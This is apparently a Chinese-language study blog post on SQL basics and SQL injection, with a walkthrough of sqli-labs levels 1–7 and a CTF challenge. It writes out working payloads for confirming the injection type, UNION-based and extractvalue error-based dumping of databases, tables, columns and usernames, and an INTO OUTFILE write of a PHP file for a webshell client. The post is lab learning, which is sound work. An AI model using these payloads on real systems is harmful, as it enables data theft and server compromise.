SQL之回炉重造

重新学sql,整个知识框架出来,之前学的太烂了

SQL是什么:

SQL 是一种操作数据库的语言,包括创建数据库、删除数据库、查询记录、修改记录、添加字段等。SQL 虽然是一种被 ANSI 标准化的语言,但是它有很多不同的实现版本。

SQL 是 Structured Query Language 的缩写,中文译为“结构化查询语言”。SQL 是一种计算机语言,用来存储、检索和修改关系型数据库中存储的数据。

SQL 是关系型数据库的标准语言,所有的关系型数据库管理系统(RDBMS),比如 MySQL、Oracle、SQL Server、MS Access、Sybase、Informix、Postgres 等,都将 SQL 作为其标准处理语言。

SQL查询语句:

SQL语句——查询_sql语句包含查询_HMTT的博客-CSDN博客

SQL查询语句大全(大佬总结,必看)-CSDN博客

SQL查询的基本结构_sql查询语句结构_Alkali!的博客-CSDN博客

SQL查询语句通常包含SELECT、FROM、WHERE等关键词,用于指定要从哪个表中检索数据,以及根据什么条件进行筛选。它还可以包括ORDER BY、GROUP BY、HING等子句,用于对结果进行排序、分组或过滤。此外,SQL查询语句还可以使用聚合函数(如SUM、COUNT、G等)来计算统计信息

具体可以参考这四个文章

SQL注入:

SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。

即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

详解-1 union select 1,2,3#:

在SQL注入中,为什么union联合查询,id必须等于0_sql注入联合查询前为什么有-1_hangshao0.0的博客-CSDN博客


浅谈SQL注入中的-1‘ union select 1,2,3#_娄不夜的博客-CSDN博客

这篇写的非常细,而且写出了到底是怎么闭合的

https://download.csdn.net/blog/column/10724277/114808681  关于sql注入中的 --+

sql注入类型:

SQL注入主要就分两种类型:

1.数字型:

判断方法:

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:select * from <表名> where id = x这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

    Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因:

       当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1 没有语法错误且逻辑判断为正确,所以返回正常。
        当输入 and 1=2时,后台执行 Sql 语句:select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:
select * from <表名> where id = 'x and 1=1'
select * from <表名> where id = 'x and 1=2'
查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的

2.字符型

判断方法:

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下:select * from <表名> where id = 'x'这种类型我们同样可以使用 and ‘1’='1 和 and ‘1’='2来判断:

    Url 地址中输入 http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
    Url 地址中继续输入 http://xxx/abc.php?id= x' and '1'='2 页面运行错误,则说明此 Sql 注入为字符型注入。

原因:

       当输入 and ‘1’='1时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='1'语法正确,逻辑判断正确,所以返回正确。
       当输入 and ‘1’='2时,后台执行 Sql 语句:select * from <表名> where id = 'x' and '1'='2'语法正确,但逻辑判断错误,所以返回正确。同样可以使用假设法来验证。

其他 :

报错注入,堆叠注入,二次注入,盲注各种的其实都基于这两种注入形式,只不过是过滤的东西多了

重要函数:

 group_concat()函数

GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里 的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

GROUP_CONCAT()是MySQL数据库提供的一个聚合函数,用于将分组后的数据按照指定的顺序进行字符串拼接。它可以将多行数据合并成一个字符串,并可选地添加分隔符。

group_concat函数_lg1873868的博客-CSDN博客

information_schema

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema信息数据库介绍_豆子林的博客-CSDN博客

SQL注入流程:

1.判断SQL注入点

2.确定注入类型、闭合条件

3.判断列数

4.判断回显位

5.爆库名

6.爆表名

7.爆列名(字段名)

8.爆字段内容

分界线

介绍的差不多了,很多知识点之前不会的都有了更深的认识

———————————————————————————————————————————

SQL-labs

第一关----字符型注入

经过尝试之后确定是字符型注入,闭合条件----单引号闭合

SQL之回炉重造_第1张图片

 判断列数 ?id=1' order by 4--+   确定是3列

SQL之回炉重造_第2张图片

看回显位 ?id=-1' union select 1,2,3--+ 回显位在2,3

SQL之回炉重造_第3张图片

爆当前数据库 ?id=-1' union select 1,2,database()--+

SQL之回炉重造_第4张图片

 爆所有数据库  ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+SQL之回炉重造_第5张图片

爆表    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

SQL之回炉重造_第6张图片

 查user表中的列名 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

SQL之回炉重造_第7张图片

查user表中的username这一列的值      ?id=-1' union select 1,2,group_concat(username) from security.users--+

SQL之回炉重造_第8张图片

第二关----数字型注入

?id=1 and 1=1 

SQL之回炉重造_第9张图片

?id=1 and 1=2 发现报错  确定是数字型注入

SQL之回炉重造_第10张图片 列数为3 ?id=1 order by 4--+

SQL之回炉重造_第11张图片

回显位是2,3 ?id=-1 union select 1,2,3--+

SQL之回炉重造_第12张图片

 剩下的和第一关一样,只不过是没有单引号闭合了而已

爆当前数据库

      ?id=-1 union select 1,2,database()--+

爆表   

      ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名

      ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

 查user表中的username这一列的值

      ?id=-1 union select 1,2,group_concat(username) from security.users--+

第三关----字符型注入--  ')闭合

输入?id=1',发现报错

SQL之回炉重造_第13张图片

找到闭合语句是 1') ,判断了回显位是2,3

SQL之回炉重造_第14张图片 把闭合条件改一下就ok了

爆当前数据库

      ?id=-1') union select 1,2,database()--+

爆表   

      ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名

      ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

 查user表中的username这一列的值

      ?id=-1') union select 1,2,group_concat(username) from security.users--+

第四关 ----字符型注入--  ")闭合

找到了闭合条件 是")闭合

SQL之回炉重造_第15张图片

爆当前数据库

      ?id=-1") union select 1,2,database()--+

爆表   

      ?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 查user表中的列名

      ?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

 查user表中的username这一列的值

      ?id=-1") union select 1,2,group_concat(username) from security.users--+

第五关----报错注入--附知识点

 报错注入

【精选】sql注入(6)报错注入-CSDN博客

SQL注入系列篇 | 报错注入 - 知乎

报错注入详解_报错注入的过程 - 全栈程序员必看

updatexml和extractvalue函数 

SQL注入,xpath函数updatexml()和extractvalue()报错注入原理_extractvalue注入原理_金 帛的博客-CSDN博客

updatexml()函数分析

官方定义:

    UPDATEXML (XML_document, XPath_string, new_value);

    第一个参数:XML_document是String格式,为XML文档对象的名称;

    第二个参数:XPath_string (Xpath格式的字符串);

    第三个参数:new_value,String格式,替换查找到的符合条件的数据;

    返回内容:若xpath正确则返回更改对象名称,否则返回xpath错误内容

说白了这个函数就是找查一个xml并替换它的名字,xpath就是xml的路径

extractvalue()函数分析

官方定义:

    EXTRACTVALUE (XML_document, XPath_string);
    第一个参数:XML_document是String格式,为XML文档对象的名称;
    第二个参数:XPath_string (Xpath格式的字符串);

    返回内容:若xpath正确则返回目标XML查询的结果,否则返回xpath错误内容

说白了这个就是找一个xml并返回内容,xpath就是xml的路径

extractvalue()和updatexml()只能把32位长度的数据库信息带出来 可以通过limit分页来查询 limit(起始位置,截取数量)起始位置默认是0 可以不写  

自己的理解:

报错注入主要是因为回显不像正常注入那样,所以就需要来输入语句来报错,通过报错来显示我们需要的东西

主要是利用updatexml和extractvalue函数 这两个函数都有xpath这个路径,而在xpath中,插入~(ASCII码是0x7e)和^(ASCII码是0x5e)等特殊字符是非法的,也就会产生报错,这些特殊字符也恰好是报错注入的关键点,而当报错内容为SQL语句的时候,SQL那边的解析器会自动解析该SQL语句,就造成了SQL语句的任意执行    ---这是为什么报错注入要加0x7e,0x5e的原因

还有就是报错注入中,因为报错回显的内容一般只有32位长度的字符串,所以我们需要用到字符串截断函数截断查询的SQL语句

字符串截断函数

常用的字符串截断函数有letf、right、mid、substr等等,以最常用的mid函数为例

mid函数

函数名称:MID
主要功能:从一个文本字符串的指定位置开始,截取指定数目的字符。
使用格式:MID(text,start_num,num_chars)
参数说明:text代表一个文本字符串;start_num表示指定的起始位置;num_chars表示要截取的数目。

进行截断的时候就用mid(sql语句,32,32),mid(sql语句,64,32)

报错注入语句:

爆当前数据库

?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e))--+

?id=1' and extractvalue(null,concat(0x7e,(database()),0x7e))--+

 爆所有数据库

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)))--+

爆表

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+

爆表中列名

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+

爆字段内容

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+

对于数据显示不全的:就可以利用mid函数,分段显示

第一段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+

第二段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+

 做题

-------因为我的sql-labs不行,所以就用buuctf的来做

输入?id=1' 发现闭合条件  ---为单引号闭合

SQL之回炉重造_第16张图片

查3列发现回显正常

SQL之回炉重造_第17张图片 4列报错,有三列

SQL之回炉重造_第18张图片

不用看回显位了直接利用语句开爆

查当前数据库

SQL之回炉重造_第19张图片

查所有数据库

SQL之回炉重造_第20张图片

爆表 ---ctftraining

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),0x7e)))--+

SQL之回炉重造_第21张图片

爆表中列名

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+

SQL之回炉重造_第22张图片

爆字段内容,发现不全

?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+

SQL之回炉重造_第23张图片

利用字符串截断函数-mid函数

第一段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+

SQL之回炉重造_第24张图片

第二段:

?id=1' and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+

SQL之回炉重造_第25张图片

第六关

输入 ?id=1" 发现闭合条件

SQL之回炉重造_第26张图片

 也是报错注入,只是闭合条件改了

SQL之回炉重造_第27张图片

爆当前数据库

?id=1" and extractvalue(null,concat(0x7e,(select database()),0x7e))--+

?id=1" and extractvalue(null,concat(0x7e,(database()),0x7e))--+

 爆所有数据库

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)))--+

爆表

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)))--+

爆表中列名

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)))--+

爆字段内容

?id=1" and (extractvalue(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e)))--+

对于数据显示不全的:就可以利用mid函数,分段显示

第一段:

?id=1" and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),1,31),0x7c)))--+

第二段:

?id=1" and (extractvalue(1,concat(0x7c,mid((select group_concat(flag) from ctftraining.flag ),32,31),0x7c)))--+

第七关

发现没有报错语句,看不到闭合信息

SQL之回炉重造_第28张图片

随便输入发现不一样的东西

SQL之回炉重造_第29张图片

 我直接看了源码,找到了闭合语句

SQL之回炉重造_第30张图片

它提示说是用输出文件的方式

判断列数为3

SQL之回炉重造_第31张图片

SQL之回炉重造_第32张图片

知识点

需要用到的两个函数:load_file() ----读取本地文件  into outfile----写文件
使用phpstudy 存在文件读写权限问题
在phpstduy文件 phpstudy\PHPTutorial\MySQL\my.ini 下加入secure_file_priv=“/”

Mysql文件导出和导入into outfile(),load_file() - 简书

sql注入之into outfile_into outfile 权限_JayJay_Lin的博客-CSDN博客 

 注入的话就是利用into outfile 这个函数

?id=-1')) union select 1,2,'' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\1.php" --+  发现写进去了

SQL之回炉重造_第33张图片

SQL之回炉重造_第34张图片 接下来就可以连接蚁剑利用了

SQL之回炉重造_第35张图片

SQL之回炉重造_第36张图片

 第八关

八、九、十关都涉及到了盲注,其实5,6关也可以利用盲注来做

直接就在这里把盲注的知识点总结了

SQL注入-盲注(布尔盲注与时间盲注)-CSDN博客

盲注部分先短暂略过,等差不多成脚本小子了再写脚本注

盲注还是利用sqlmap,bp抓包也是可以的,看大佬的博客就可以了,我没得实力

你可能感兴趣的:(sql,oracle,数据库)